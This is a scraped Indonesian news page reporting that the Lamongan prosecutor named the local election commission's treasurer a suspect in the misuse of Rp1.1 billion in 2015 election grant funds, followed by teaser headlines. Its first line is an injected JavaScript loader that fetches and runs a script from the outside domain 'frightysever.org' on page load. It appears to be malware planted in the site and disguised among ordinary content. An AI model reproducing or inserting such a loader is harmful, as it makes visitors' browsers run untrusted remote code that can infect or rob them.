(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
LAMONGAN, Setelah lima tahun berjalan, Kejaksaan Negeri (Kejari) Kabupaten Lamongan, Jawa Timur, akhirnya menetapkan tersangka kasus dugaan penyalahgunaan dana hibah Rp 1,1 miliar di KPU Lamongan.
Ialah Irwan, Bendahara KPU Lamongan yang telah ditetapkan sebagai tersangka atas dugaan penyalahgunaan dana hibah KPU Lamongan tersebut.
Kasi Pidana Khusus (Pidsus) Kejaksaan Negeri Lamongan, Yugo Susandi SH mengatakan, Irwan ditetapkan sebagai tersangka dugaan penyelewengan dana hibah di KPU saat Pilkada tahun 2015.
“Kita tetapkan Irwan, terkait temuan BPK tentang adanya penyalahgunaan dana hibah pada Pilkada 2015 lalu sebesar Rp1,1 miliar,†ujar Yugo di Lamongan.
Lebih lanjut Yugo mengungkapkan bahwa pihaknya akan serius menangani dugaan penyelewengan dana ini hingga tuntas. Juga akan mengungkap kemana dana haram ini mengalir. (muh)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.